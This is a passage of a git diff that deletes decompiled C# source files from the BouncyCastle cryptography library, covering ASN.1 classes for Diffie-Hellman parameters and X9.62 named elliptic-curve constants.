obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public static DHDomainParameters GetInstance(object obj) - { - if (obj == null || obj is DHDomainParameters) - { - return (DHDomainParameters)obj; - } - if (obj is Asn1Sequence) - { - return new DHDomainParameters((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid DHDomainParameters: " + Platform.GetTypeName(obj), "obj"); - } - - public DHDomainParameters(DerInteger p, DerInteger g, DerInteger q, DerInteger j, DHValidationParms validationParms) - { - if (p == null) - { - throw new ArgumentNullException("p"); - } - if (g == null) - { - throw new ArgumentNullException("g"); - } - if (q == null) - { - throw new ArgumentNullException("q"); - } - this.p = p; - this.g = g; - this.q = q; - this.j = j; - this.validationParms = validationParms; - } - - private DHDomainParameters(Asn1Sequence seq) - { - if (seq.Count < 3 || seq.Count > 5) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - IEnumerator enumerator = seq.GetEnumerator(); - p = DerInteger.GetInstance(GetNext(enumerator)); - g = DerInteger.GetInstance(GetNext(enumerator)); - q = DerInteger.GetInstance(GetNext(enumerator)); - Asn1Encodable next = GetNext(enumerator); - if (next != null && next is DerInteger) - { - j = DerInteger.GetInstance(next); - next = GetNext(enumerator); - } - if (next != null) - { - validationParms = DHValidationParms.GetInstance(next.ToAsn1Object()); - } - } - - private static Asn1Encodable GetNext(IEnumerator e) - { - if (!e.MoveNext()) - { - return null; - } - return (Asn1Encodable)e.Current; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(p, g, q); - if (j != null) - { - asn1EncodableVector.Add(j); - } - if (validationParms != null) - { - asn1EncodableVector.Add(validationParms); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/DHPublicKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/DHPublicKey.cs deleted file mode 100644 index 5139736..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/DHPublicKey.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X9; - -public class DHPublicKey : Asn1Encodable -{ - private readonly DerInteger y; - - public DerInteger Y => y; - - public static DHPublicKey GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(DerInteger.GetInstance(obj, isExplicit)); - } - - public static DHPublicKey GetInstance(object obj) - { - if (obj == null || obj is DHPublicKey) - { - return (DHPublicKey)obj; - } - if (obj is DerInteger) - { - return new DHPublicKey((DerInteger)obj); - } - throw new ArgumentException("Invalid DHPublicKey: " + Platform.GetTypeName(obj), "obj"); - } - - public DHPublicKey(DerInteger y) - { - if (y == null) - { - throw new ArgumentNullException("y"); - } - this.y = y; - } - - public override Asn1Object ToAsn1Object() - { - return y; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/DHValidationParms.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/DHValidationParms.cs deleted file mode 100644 index 780a73a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/DHValidationParms.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X9; - -public class DHValidationParms : Asn1Encodable -{ - private readonly DerBitString seed; - - private readonly DerInteger pgenCounter; - - public DerBitString Seed => seed; - - public DerInteger PgenCounter => pgenCounter; - - public static DHValidationParms GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public static DHValidationParms GetInstance(object obj) - { - if (obj == null || obj is DHDomainParameters) - { - return (DHValidationParms)obj; - } - if (obj is Asn1Sequence) - { - return new DHValidationParms((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid DHValidationParms: " + Platform.GetTypeName(obj), "obj"); - } - - public DHValidationParms(DerBitString seed, DerInteger pgenCounter) - { - if (seed == null) - { - throw new ArgumentNullException("seed"); - } - if (pgenCounter == null) - { - throw new ArgumentNullException("pgenCounter"); - } - this.seed = seed; - this.pgenCounter = pgenCounter; - } - - private DHValidationParms(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - seed = DerBitString.GetInstance(seq[0]); - pgenCounter = DerInteger.GetInstance(seq[1]); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(seed, pgenCounter); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/ECNamedCurveTable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/ECNamedCurveTable.cs deleted file mode 100644 index d49b86b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/ECNamedCurveTable.cs +++ /dev/null @@ -1,156 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1.Anssi; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.GM; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Sec; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.X9; - -public class ECNamedCurveTable -{ - public static IEnumerable Names - { - get - { - IList list = Platform.CreateArrayList(); - CollectionUtilities.AddRange(list, X962NamedCurves.Names); - CollectionUtilities.AddRange(list, SecNamedCurves.Names); - CollectionUtilities.AddRange(list, NistNamedCurves.Names); - CollectionUtilities.AddRange(list, TeleTrusTNamedCurves.Names); - CollectionUtilities.AddRange(list, AnssiNamedCurves.Names); - CollectionUtilities.AddRange(list, ECGost3410NamedCurves.Names); - CollectionUtilities.AddRange(list, GMNamedCurves.Names); - return list; - } - } - - public static X9ECParameters GetByName(string name) - { - X9ECParameters x9ECParameters = X962NamedCurves.GetByName(name); - if (x9ECParameters == null) - { - x9ECParameters = SecNamedCurves.GetByName(name); - } - if (x9ECParameters == null) - { - x9ECParameters = NistNamedCurves.GetByName(name); - } - if (x9ECParameters == null) - { - x9ECParameters = TeleTrusTNamedCurves.GetByName(name); - } - if (x9ECParameters == null) - { - x9ECParameters = AnssiNamedCurves.GetByName(name); - } - if (x9ECParameters == null) - { - x9ECParameters = FromDomainParameters(ECGost3410NamedCurves.GetByName(name)); - } - if (x9ECParameters == null) - { - x9ECParameters = GMNamedCurves.GetByName(name); - } - return x9ECParameters; - } - - public static string GetName(DerObjectIdentifier oid) - { - string name = X962NamedCurves.GetName(oid); - if (name == null) - { - name = SecNamedCurves.GetName(oid); - } - if (name == null) - { - name = NistNamedCurves.GetName(oid); - } - if (name == null) - { - name = TeleTrusTNamedCurves.GetName(oid); - } - if (name == null) - { - name = AnssiNamedCurves.GetName(oid); - } - if (name == null) - { - name = ECGost3410NamedCurves.GetName(oid); - } - if (name == null) - { - name = GMNamedCurves.GetName(oid); - } - return name; - } - - public static DerObjectIdentifier GetOid(string name) - { - DerObjectIdentifier oid = X962NamedCurves.GetOid(name); - if (oid == null) - { - oid = SecNamedCurves.GetOid(name); - } - if (oid == null) - { - oid = NistNamedCurves.GetOid(name); - } - if (oid == null) - { - oid = TeleTrusTNamedCurves.GetOid(name); - } - if (oid == null) - { - oid = AnssiNamedCurves.GetOid(name); - } - if (oid == null) - { - oid = ECGost3410NamedCurves.GetOid(name); - } - if (oid == null) - { - oid = GMNamedCurves.GetOid(name); - } - return oid; - } - - public static X9ECParameters GetByOid(DerObjectIdentifier oid) - { - X9ECParameters x9ECParameters = X962NamedCurves.GetByOid(oid); - if (x9ECParameters == null) - { - x9ECParameters = SecNamedCurves.GetByOid(oid); - } - if (x9ECParameters == null) - { - x9ECParameters = TeleTrusTNamedCurves.GetByOid(oid); - } - if (x9ECParameters == null) - { - x9ECParameters = AnssiNamedCurves.GetByOid(oid); - } - if (x9ECParameters == null) - { - x9ECParameters = FromDomainParameters(ECGost3410NamedCurves.GetByOid(oid)); - } - if (x9ECParameters == null) - { - x9ECParameters = GMNamedCurves.GetByOid(oid); - } - return x9ECParameters; - } - - private static X9ECParameters FromDomainParameters(ECDomainParameters dp) - { - if (dp != null) - { - return new X9ECParameters(dp.Curve, dp.G, dp.N, dp.H, dp.GetSeed()); - } - return null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/KeySpecificInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/KeySpecificInfo.cs deleted file mode 100644 index 9973ea6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/KeySpecificInfo.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Asn1.X9; - -public class KeySpecificInfo : Asn1Encodable -{ - private DerObjectIdentifier algorithm; - - private Asn1OctetString counter; - - public DerObjectIdentifier Algorithm => algorithm; - - public Asn1OctetString Counter => counter; - - public KeySpecificInfo(DerObjectIdentifier algorithm, Asn1OctetString counter) - { - this.algorithm = algorithm; - this.counter = counter; - } - - public KeySpecificInfo(Asn1Sequence seq) - { - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - algorithm = (DerObjectIdentifier)enumerator.Current; - enumerator.MoveNext(); - counter = (Asn1OctetString)enumerator.Current; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(algorithm, counter); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/OtherInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/OtherInfo.cs deleted file mode 100644 index a50f8f3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/OtherInfo.cs +++ /dev/null @@ -1,55 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Asn1.X9; - -public class OtherInfo : Asn1Encodable -{ - private KeySpecificInfo keyInfo; - - private Asn1OctetString partyAInfo; - - private Asn1OctetString suppPubInfo; - - public KeySpecificInfo KeyInfo => keyInfo; - - public Asn1OctetString PartyAInfo => partyAInfo; - - public Asn1OctetString SuppPubInfo => suppPubInfo; - - public OtherInfo(KeySpecificInfo keyInfo, Asn1OctetString partyAInfo, Asn1OctetString suppPubInfo) - { - this.keyInfo = keyInfo; - this.partyAInfo = partyAInfo; - this.suppPubInfo = suppPubInfo; - } - - public OtherInfo(Asn1Sequence seq) - { - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - keyInfo = new KeySpecificInfo((Asn1Sequence)enumerator.Current); - while (enumerator.MoveNext()) - { - DerTaggedObject derTaggedObject = (DerTaggedObject)enumerator.Current; - if (derTaggedObject.TagNo == 0) - { - partyAInfo = (Asn1OctetString)derTaggedObject.GetObject(); - } - else if (derTaggedObject.TagNo == 2) - { - suppPubInfo = (Asn1OctetString)derTaggedObject.GetObject(); - } - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(keyInfo); - if (partyAInfo != null) - { - asn1EncodableVector.Add(new DerTaggedObject(0, partyAInfo)); - } - asn1EncodableVector.Add(new DerTaggedObject(2, suppPubInfo)); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X962NamedCurves.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X962NamedCurves.cs deleted file mode 100644 index eb2d5a9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X9/X962NamedCurves.cs +++ /dev/null @@ -1,476 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Asn1.X9; - -public sealed class X962NamedCurves -{ - internal class Prime192v1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Prime192v1Holder(); - - private Prime192v1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("ffffffffffffffffffffffff99def836146bc9b1b4d22831", 16); - BigInteger one = BigInteger.One; - ECCurve eCCurve = new FpCurve(new BigInteger("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF", 16), new BigInteger("fffffffffffffffffffffffffffffffefffffffffffffffc", 16), new BigInteger("64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1", 16), bigInteger, one); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("03188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012")), bigInteger, one, Hex.Decode("3045AE6FC8422f64ED579528D38120EAE12196D5")); - } - } - - internal class Prime192v2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Prime192v2Holder(); - - private Prime192v2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("fffffffffffffffffffffffe5fb1a724dc80418648d8dd31", 16); - BigInteger one = BigInteger.One; - ECCurve eCCurve = new FpCurve(new BigInteger("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF", 16), new BigInteger("fffffffffffffffffffffffffffffffefffffffffffffffc", 16), new BigInteger("cc22d6dfb95c6b25e49c0d6364a4e5980c393aa21668d953", 16), bigInteger, one); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("03eea2bae7e1497842f2de7769cfe9c989c072ad696f48034a")), bigInteger, one, Hex.Decode("31a92ee2029fd10d901b113e990710f0d21ac6b6")); - } - } - - internal class Prime192v3Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Prime192v3Holder(); - - private Prime192v3Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("ffffffffffffffffffffffff7a62d031c83f4294f640ec13", 16); - BigInteger one = BigInteger.One; - ECCurve eCCurve = new FpCurve(new BigInteger("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF", 16), new BigInteger("fffffffffffffffffffffffffffffffefffffffffffffffc", 16), new BigInteger("22123dc2395a05caa7423daeccc94760a7d462256bd56916", 16), bigInteger, one); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("027d29778100c65a1da1783716588dce2b8b4aee8e228f1896")), bigInteger, one, Hex.Decode("c469684435deb378c4b65ca9591e2a5763059a2e")); - } - } - - internal class Prime239v1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Prime239v1Holder(); - - private Prime239v1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("7fffffffffffffffffffffff7fffff9e5e9a9f5d9071fbd1522688909d0b", 16); - BigInteger one = BigInteger.One; - ECCurve eCCurve = new FpCurve(new BigInteger("883423532389192164791648750360308885314476597252960362792450860609699839"), new BigInteger("7fffffffffffffffffffffff7fffffffffff8000000000007ffffffffffc", 16), new BigInteger("6b016c3bdcf18941d0d654921475ca71a9db2fb27d1d37796185c2942c0a", 16), bigInteger, one); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("020ffa963cdca8816ccc33b8642bedf905c3d358573d3f27fbbd3b3cb9aaaf")), bigInteger, one, Hex.Decode("e43bb460f0b80cc0c0b075798e948060f8321b7d")); - } - } - - internal class Prime239v2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Prime239v2Holder(); - - private Prime239v2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("7fffffffffffffffffffffff800000cfa7e8594377d414c03821bc582063", 16); - BigInteger one = BigInteger.One; - ECCurve eCCurve = new FpCurve(new BigInteger("883423532389192164791648750360308885314476597252960362792450860609699839"), new BigInteger("7fffffffffffffffffffffff7fffffffffff8000000000007ffffffffffc", 16), new BigInteger("617fab6832576cbbfed50d99f0249c3fee58b94ba0038c7ae84c8c832f2c", 16), bigInteger, one); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("0238af09d98727705120c921bb5e9e26296a3cdcf2f35757a0eafd87b830e7")), bigInteger, one, Hex.Decode("e8b4011604095303ca3b8099982be09fcb9ae616")); - } - } - - internal class Prime239v3Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Prime239v3Holder(); - - private Prime239v3Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("7fffffffffffffffffffffff7fffff975deb41b3a6057c3c432146526551", 16); - BigInteger one = BigInteger.One; - ECCurve eCCurve = new FpCurve(new BigInteger("883423532389192164791648750360308885314476597252960362792450860609699839"), new BigInteger("7fffffffffffffffffffffff7fffffffffff8000000000007ffffffffffc", 16), new BigInteger("255705fa2a306654b1f4cb03d6a750a30c250102d4988717d9ba15ab6d3e", 16), bigInteger, one); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("036768ae8e18bb92cfcf005c949aa2c6d94853d0e660bbf854b1c9505fe95a")), bigInteger, one, Hex.Decode("7d7374168ffe3471b60a857686a19475d3bfa2ff")); - } - } - - internal class Prime256v1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Prime256v1Holder(); - - private Prime256v1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("ffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551", 16); - BigInteger one = BigInteger.One; - ECCurve eCCurve = new FpCurve(new BigInteger("115792089210356248762697446949407573530086143415290314195533631308867097853951"), new BigInteger("ffffffff00000001000000000000000000000000fffffffffffffffffffffffc", 16), new BigInteger("5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b", 16), bigInteger, one); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("036b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296")), bigInteger, one, Hex.Decode("c49d360886e704936a6678e1139d26b7819f7e90")); - } - } - - internal class C2pnb163v1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2pnb163v1Holder(); - - private C2pnb163v1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("0400000000000000000001E60FC8821CC74DAEAFC1", 16); - BigInteger two = BigInteger.Two; - ECCurve eCCurve = new F2mCurve(163, 1, 2, 8, new BigInteger("072546B5435234A422E0789675F432C89435DE5242", 16), new BigInteger("00C9517D06D5240D3CFF38C74B20B6CD4D6F9DD4D9", 16), bigInteger, two); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("0307AF69989546103D79329FCC3D74880F33BBE803CB")), bigInteger, two, Hex.Decode("D2C0FB15760860DEF1EEF4D696E6768756151754")); - } - } - - internal class C2pnb163v2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2pnb163v2Holder(); - - private C2pnb163v2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("03FFFFFFFFFFFFFFFFFFFDF64DE1151ADBB78F10A7", 16); - BigInteger two = BigInteger.Two; - ECCurve eCCurve = new F2mCurve(163, 1, 2, 8, new BigInteger("0108B39E77C4B108BED981ED0E890E117C511CF072", 16), new BigInteger("0667ACEB38AF4E488C407433FFAE4F1C811638DF20", 16), bigInteger, two); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("030024266E4EB5106D0A964D92C4860E2671DB9B6CC5")), bigInteger, two, null); - } - } - - internal class C2pnb163v3Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2pnb163v3Holder(); - - private C2pnb163v3Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("03FFFFFFFFFFFFFFFFFFFE1AEE140F110AFF961309", 16); - BigInteger two = BigInteger.Two; - ECCurve eCCurve = new F2mCurve(163, 1, 2, 8, new BigInteger("07A526C63D3E25A256A007699F5447E32AE456B50E", 16), new BigInteger("03F7061798EB99E238FD6F1BF95B48FEEB4854252B", 16), bigInteger, two); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("0202F9F87B7C574D0BDECF8A22E6524775F98CDEBDCB")), bigInteger, two, null); - } - } - - internal class C2pnb176w1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2pnb176w1Holder(); - - private C2pnb176w1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("010092537397ECA4F6145799D62B0A19CE06FE26AD", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(65390L); - ECCurve eCCurve = new F2mCurve(176, 1, 2, 43, new BigInteger("00E4E6DB2995065C407D9D39B8D0967B96704BA8E9C90B", 16), new BigInteger("005DDA470ABE6414DE8EC133AE28E9BBD7FCEC0AE0FFF2", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("038D16C2866798B600F9F08BB4A8E860F3298CE04A5798")), bigInteger, bigInteger2, null); - } - } - - internal class C2tnb191v1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2tnb191v1Holder(); - - private C2tnb191v1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("40000000000000000000000004A20E90C39067C893BBB9A5", 16); - BigInteger two = BigInteger.Two; - ECCurve eCCurve = new F2mCurve(191, 9, new BigInteger("2866537B676752636A68F56554E12640276B649EF7526267", 16), new BigInteger("2E45EF571F00786F67B0081B9495A3D95462F5DE0AA185EC", 16), bigInteger, two); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("0236B3DAF8A23206F9C4F299D7B21A9C369137F2C84AE1AA0D")), bigInteger, two, Hex.Decode("4E13CA542744D696E67687561517552F279A8C84")); - } - } - - internal class C2tnb191v2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2tnb191v2Holder(); - - private C2tnb191v2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("20000000000000000000000050508CB89F652824E06B8173", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(4L); - ECCurve eCCurve = new F2mCurve(191, 9, new BigInteger("401028774D7777C7B7666D1366EA432071274F89FF01E718", 16), new BigInteger("0620048D28BCBD03B6249C99182B7C8CD19700C362C46A01", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("023809B2B7CC1B28CC5A87926AAD83FD28789E81E2C9E3BF10")), bigInteger, bigInteger2, null); - } - } - - internal class C2tnb191v3Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2tnb191v3Holder(); - - private C2tnb191v3Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("155555555555555555555555610C0B196812BFB6288A3EA3", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(6L); - ECCurve eCCurve = new F2mCurve(191, 9, new BigInteger("6C01074756099122221056911C77D77E77A777E7E7E77FCB", 16), new BigInteger("71FE1AF926CF847989EFEF8DB459F66394D90F32AD3F15E8", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("03375D4CE24FDE434489DE8746E71786015009E66E38A926DD")), bigInteger, bigInteger2, null); - } - } - - internal class C2pnb208w1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2pnb208w1Holder(); - - private C2pnb208w1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("0101BAF95C9723C57B6C21DA2EFF2D5ED588BDD5717E212F9D", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(65096L); - ECCurve eCCurve = new F2mCurve(208, 1, 2, 83, new BigInteger("0", 16), new BigInteger("00C8619ED45A62E6212E1160349E2BFA844439FAFC2A3FD1638F9E", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("0289FDFBE4ABE193DF9559ECF07AC0CE78554E2784EB8C1ED1A57A")), bigInteger, bigInteger2, null); - } - } - - internal class C2tnb239v1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2tnb239v1Holder(); - - private C2tnb239v1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("2000000000000000000000000000000F4D42FFE1492A4993F1CAD666E447", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(4L); - ECCurve eCCurve = new F2mCurve(239, 36, new BigInteger("32010857077C5431123A46B808906756F543423E8D27877578125778AC76", 16), new BigInteger("790408F2EEDAF392B012EDEFB3392F30F4327C0CA3F31FC383C422AA8C16", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("0257927098FA932E7C0A96D3FD5B706EF7E5F5C156E16B7E7C86038552E91D")), bigInteger, bigInteger2, null); - } - } - - internal class C2tnb239v2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2tnb239v2Holder(); - - private C2tnb239v2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("1555555555555555555555555555553C6F2885259C31E3FCDF154624522D", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(6L); - ECCurve eCCurve = new F2mCurve(239, 36, new BigInteger("4230017757A767FAE42398569B746325D45313AF0766266479B75654E65F", 16), new BigInteger("5037EA654196CFF0CD82B2C14A2FCF2E3FF8775285B545722F03EACDB74B", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("0228F9D04E900069C8DC47A08534FE76D2B900B7D7EF31F5709F200C4CA205")), bigInteger, bigInteger2, null); - } - } - - internal class C2tnb239v3Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2tnb239v3Holder(); - - private C2tnb239v3Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("0CCCCCCCCCCCCCCCCCCCCCCCCCCCCCAC4912D2D9DF903EF9888B8A0E4CFF", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(10L); - ECCurve eCCurve = new F2mCurve(239, 36, new BigInteger("01238774666A67766D6676F778E676B66999176666E687666D8766C66A9F", 16), new BigInteger("6A941977BA9F6A435199ACFC51067ED587F519C5ECB541B8E44111DE1D40", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("0370F6E9D04D289C4E89913CE3530BFDE903977D42B146D539BF1BDE4E9C92")), bigInteger, bigInteger2, null); - } - } - - internal class C2pnb272w1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2pnb272w1Holder(); - - private C2pnb272w1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("0100FAF51354E0E39E4892DF6E319C72C8161603FA45AA7B998A167B8F1E629521", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(65286L); - ECCurve eCCurve = new F2mCurve(272, 1, 3, 56, new BigInteger("0091A091F03B5FBA4AB2CCF49C4EDD220FB028712D42BE752B2C40094DBACDB586FB20", 16), new BigInteger("7167EFC92BB2E3CE7C8AAAFF34E12A9C557003D7C73A6FAF003F99F6CC8482E540F7", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("026108BABB2CEEBCF787058A056CBE0CFE622D7723A289E08A07AE13EF0D10D171DD8D")), bigInteger, bigInteger2, null); - } - } - - internal class C2pnb304w1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2pnb304w1Holder(); - - private C2pnb304w1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("0101D556572AABAC800101D556572AABAC8001022D5C91DD173F8FB561DA6899164443051D", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(65070L); - ECCurve eCCurve = new F2mCurve(304, 1, 2, 11, new BigInteger("00FD0D693149A118F651E6DCE6802085377E5F882D1B510B44160074C1288078365A0396C8E681", 16), new BigInteger("00BDDB97E555A50A908E43B01C798EA5DAA6788F1EA2794EFCF57166B8C14039601E55827340BE", 16), bigInteger, bigInteger2); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("02197B07845E9BE2D96ADB0F5F3C7F2CFFBD7A3EB8B6FEC35C7FD67F26DDF6285A644F740A2614")), bigInteger, bigInteger2, null); - } - } - - internal class C2tnb359v1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new C2tnb359v1Holder(); - - private C2tnb359v1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("01AF286BCA1AF286BCA1AF286BCA1AF286BCA1AF286BC9FB8F6B85C556892C20A7EB964FE7719E74F490758D3B", 16); - BigInteger bigInteger2 = BigInteger.ValueOf(76L); - ECCurve eCCurve = new F2mCurve(359, 68, new 